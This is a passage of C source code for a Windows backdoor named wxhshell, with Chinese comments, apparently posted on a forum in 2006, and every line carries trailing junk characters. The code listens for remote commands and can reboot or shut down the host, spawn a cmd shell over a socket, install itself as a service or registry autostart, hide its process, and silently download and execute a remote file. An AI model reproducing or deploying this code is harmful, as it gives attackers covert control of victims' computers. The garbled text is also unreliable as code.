  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,h*gd^i  
  else N*Aw-\Bk  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W'./p"2g  
  } 8M5)fDu*?  
  else { Tv``\<   
hi8q?4jE  
    switch(cmd[0]) { ;+hh|NiQ  
  %SmOP sz  
  // 帮助 Cj0r2^`  
  case '?': { ]rG=\>U3~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bY~K)j v3&  
    break; o*KAS@&  
  } OgF[=  
  // 安装 a~_ 9BM41T  
  case 'i': { 8+'}`  
    if(Install()) ;(NTzBq!1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z0<Vss  
    else ,&o9\|ih7]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k1B ](@xt  
    break; !1$x4 qxS  
    } 7<j!qWm0  
  // 卸载 #HcQ*BiF3  
  case 'r': { ,P~e)<.  
    if(Uninstall()) J}V4.R5d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I-#!mFl  
    else u+)!C*ho  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mY 1l2  
    break; TNu% _ 34  
    } EavBUX$O  
  // 显示 wxhshell 所在路径 B7\4^6Tx  
  case 'p': { @yTu/U  
    char svExeFile[MAX_PATH]; ZdW+=;/#  
    strcpy(svExeFile,"\n\r"); ('z=/"(l  
      strcat(svExeFile,ExeFile); 7Jb&~{DVk  
        send(wsh,svExeFile,strlen(svExeFile),0); $[T ~<I  
    break; $JFjR@j  
    } 2Io| ?  
  // 重启 6qZQ20h  
  case 'b': { \]x`f3F  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3! P^?[p3  
    if(Boot(REBOOT)) 7F"ljkN1S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 48xgl1R(j  
    else { 7'wpPXdY1  
    closesocket(wsh);  4!!|P  
    ExitThread(0); maa pX/J  
    } G@s:|oe  
    break; D^r g-E[L  
    } +Nn >*sz  
  // 关机 >@N.jw>#T  
  case 'd': { 1]} \h]*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !&U75FpN}:  
    if(Boot(SHUTDOWN))  <$nPGz)}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q=Q+*oog  
    else { d!I%AlV  
    closesocket(wsh); `q}D#0  
    ExitThread(0); LW=qX%o{  
    } *JOK8[Qn  
    break; 1RkN^FZOxq  
    } Trirb'qO  
  // 获取shell m-{DhJV  
  case 's': { NZGO8u  
    CmdShell(wsh); gc4o |x  
    closesocket(wsh); s.z)l$  
    ExitThread(0); B;bP~e>W  
    break; 'M%iS4b{IM  
  } oCo~,~kTR  
  // 退出 .\ bJ,of9  
  case 'x': { dO D(<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lr&2,p<  
    CloseIt(wsh); AG >D,6Y  
    break; tN{0C/B9  
    } l&H-<Z.8m  
  // 离开 H [+'>Id:  
  case 'q': { @;EQ{d  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;8H&FsR  
    closesocket(wsh); C?. ;3 h  
    WSACleanup(); =o@}~G&HA  
    exit(1); rbf5~sw&8+  
    break; mpYBMSLM  
        } 9No6\{[M  
  } n[/D>Pi  
  } Yte*$cJ=  
( %sf wv  
  // 提示信息 1XS~b-St  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MKtI 3vi?  
} 51}C`j|V3{  
  } *42KLns  
`_ ^I 2  
  return; P#pb48^-  
} ^(Gl$GC$Mu  
-Ua5anzB  
// shell模块句柄  WDNj 7  
int CmdShell(SOCKET sock) f TmJDUv+  
{ @G& oUhS  
STARTUPINFO si; `y'%dY}$n  
ZeroMemory(&si,sizeof(si));  3B#fnj  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9Zx| L/\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A7QT4h&6  
PROCESS_INFORMATION ProcessInfo; F]OWqUV  
char cmdline[]="cmd"; `@ Z$+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ? ~ybFrc  
  return 0; mcwd2)  
} qRT5|\l  
Fmn_fW6  
// 自身启动模式 tdU'cc?M  
int StartFromService(void) ,,FhE  
{ c'$y_]  
typedef struct 8?~>FLWTXZ  
{ SP0ueAa}  
  DWORD ExitStatus; 4gZR!J  
  DWORD PebBaseAddress; E2hML  
  DWORD AffinityMask; V^(W)\  
  DWORD BasePriority; 5P*jGOg.  
  ULONG UniqueProcessId; 319 4]  
  ULONG InheritedFromUniqueProcessId; QP%AJ[3ea%  
}   PROCESS_BASIC_INFORMATION; .9DhD=8aIO  
, -])[u  
PROCNTQSIP NtQueryInformationProcess; OfLj 4H 6Q  
6T"5,Q</h  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &*Z)[Bl  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  uvDOTRf  
*o=Z~U9z  
  HANDLE             hProcess; x>i =  
  PROCESS_BASIC_INFORMATION pbi; 8U#14U5rS  
ddYb=L+_b  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); B <Jxj  
  if(NULL == hInst ) return 0; $1X !Ecq_  
m[ S1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); EhW@iYL  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }lk9|U#6*`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pJ?y  
V\Lh(zPt  
  if (!NtQueryInformationProcess) return 0; $y)tcVc  
%PVu>^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); y]Q/(O  
  if(!hProcess) return 0; D$hK  
0Dd8c \J  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s$^ 2Cuhv  
GWx?RIKF  
  CloseHandle(hProcess); eT F s9$  
2Z(?pJyDM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $SLyI$<gP  
if(hProcess==NULL) return 0; E]Cm#B  
 X56.Y.  
HMODULE hMod; *{fZA;<R  
char procName[255]; }Ej^"T:H_;  
unsigned long cbNeeded; zPvTRW~H\  
zll?/|%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0s4]eEXH  
gYL#} )g  
  CloseHandle(hProcess); &S^a_L:  
H8c -/  
if(strstr(procName,"services")) return 1; // 以服务启动 |$T?P*pI.  
q|.0Ja  
  return 0; // 注册表启动 @M*5q# s  
} ,|O|gh$s  
Ob'[W;p)[w  
// 主模块 Zf)<)o*  
int StartWxhshell(LPSTR lpCmdLine) >wV2` 6  
{ ++kVq$9@y  
  SOCKET wsl; gZ (\/m8Z  
BOOL val=TRUE; -OQ6;A"#  
  int port=0; 6.v)q,JL  
  struct sockaddr_in door; J@N q  
K>+c2;t;  
  if(wscfg.ws_autoins) Install(); En+`ZcA\z  
}g.)%Bw!  
port=atoi(lpCmdLine); ovtZHq/  
M4XU*piz  
if(port<=0) port=wscfg.ws_port; Xt*h2&  
V=GP_^F  
  WSADATA data; )=h+5Z>E1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g*U[?I"sC  
7*&q"   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _t7aOH  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -A8CW9|mk  
  door.sin_family = AF_INET; ~:A=o?V2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~RM_c  
  door.sin_port = htons(port); xqKj&RuLu  
[MM`#!K%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { uY )|   
closesocket(wsl); w##$SaTI  
return 1; M-f; ,>  
} 5DeAH ;  
@}e5T/{X}T  
  if(listen(wsl,2) == INVALID_SOCKET) { 5,V3_p:)VI  
closesocket(wsl); ^^*dHWHn<  
return 1; ID=^497  
} 1`&"U[{  
  Wxhshell(wsl); %xwdH4 _  
  WSACleanup(); PwxRu  
BG20R=p  
return 0; JLxAk14lc  
gM#]o QOGE  
} X pf:I  
4q^'MZm1  
// 以NT服务方式启动 DmpD`^?-L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) yFqB2(Dv  
{ GA)t!Xg^  
DWORD   status = 0; p?sC</R  
  DWORD   specificError = 0xfffffff; ]OA8H[U-eA  
[RUYH5>Ik  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %wux#"8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &p^8zEs  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .\ces2,  
  serviceStatus.dwWin32ExitCode     = 0; @X>Oj.  
  serviceStatus.dwServiceSpecificExitCode = 0; jUX0sRDk  
  serviceStatus.dwCheckPoint       = 0; [Gb8o'  
  serviceStatus.dwWaitHint       = 0; r`CsR0[  
w>gB&59r  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~@Eu4ip)F  
  if (hServiceStatusHandle==0) return; Hk|wO:7Be  
g~$cnU  
status = GetLastError(); GZqy.AE,  
  if (status!=NO_ERROR) xrl!$xE GX  
{ b\Gw|?Rv  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ],ISWb  
    serviceStatus.dwCheckPoint       = 0; KdtQJ:_`k  
    serviceStatus.dwWaitHint       = 0; T|Fl$is  
    serviceStatus.dwWin32ExitCode     = status; 8d"Ff  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0h~7"qUF@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3,-xk!W$L  
    return; r(cd?sL96R  
  } 2_Otv2  
<-m[0zg q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .qk_m-o  
  serviceStatus.dwCheckPoint       = 0; OuF%!~V   
  serviceStatus.dwWaitHint       = 0; TW}nO|qw  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e47N9&4  
} 3rw<#t;v  
La'XJ|>V  
// 处理NT服务事件,比如:启动、停止 2i_k$-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %Y//}  
{ 1|Z!8:&pj  
switch(fdwControl) Z |CL:)h  
{ -mK;f$X  
case SERVICE_CONTROL_STOP: EG[Rda  
  serviceStatus.dwWin32ExitCode = 0; |.Y}2>{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "_  i:  
  serviceStatus.dwCheckPoint   = 0; =5m~rJ< {  
  serviceStatus.dwWaitHint     = 0; Z]1jg>")  
  { hUGP3ExC*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }&O}t{gS*  
  } S4FR=QuVQC  
  return; /V@9!  
case SERVICE_CONTROL_PAUSE: FpM0%   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %gE*x #  
  break; 1MnT*w   
case SERVICE_CONTROL_CONTINUE: },LO]N|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; a"&Gs/QKSC  
  break; m3E`kW |  
case SERVICE_CONTROL_INTERROGATE: Wc qUF"A  
  break; +Q+>{HK  
}; wXnluE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )4BLm  
} VwrHD$  
V*w~Sr%  
// 标准应用程序主函数 G :JQ_w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) of k@.TmO  
{ R9`37(c9+  
' (1`iQ;  
// 获取操作系统版本 iy\ 6e k1  
OsIsNt=GetOsVer(); qTUyax  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {gwJ>]z"e  
Xe7/  
  // 从命令行安装 YA[\|I33  
  if(strpbrk(lpCmdLine,"iI")) Install(); H!yqIh  
/f0*NNSat-  
  // 下载执行文件 QlCs ,bT  
if(wscfg.ws_downexe) { VuWBWb?0Q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) cg]>*lH  
  WinExec(wscfg.ws_filenam,SW_HIDE); (6#, $Ze   
} YZyV   
-\V!f6Q  
if(!OsIsNt) { ,`O.0e4pn  
// 如果时win9x,隐藏进程并且设置为注册表启动 QpZ CU]  
HideProc(); 5:sk&0:@U  
StartWxhshell(lpCmdLine); $)6%LG_@  
} Hlj_oDL  
else lOuO~`,J  
  if(StartFromService()) E +!A0!1  
  // 以服务方式启动 _8I\!  
  StartServiceCtrlDispatcher(DispatchTable); u?B9zt%$-m  
else /l&$B  
  // 普通方式启动 o1zKns?  
  StartWxhshell(lpCmdLine); mW&hUP Rx  
z[~ph/^  
return 0; gJC~$/2  
}
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只看该作者 1 发表于: 2006-10-10
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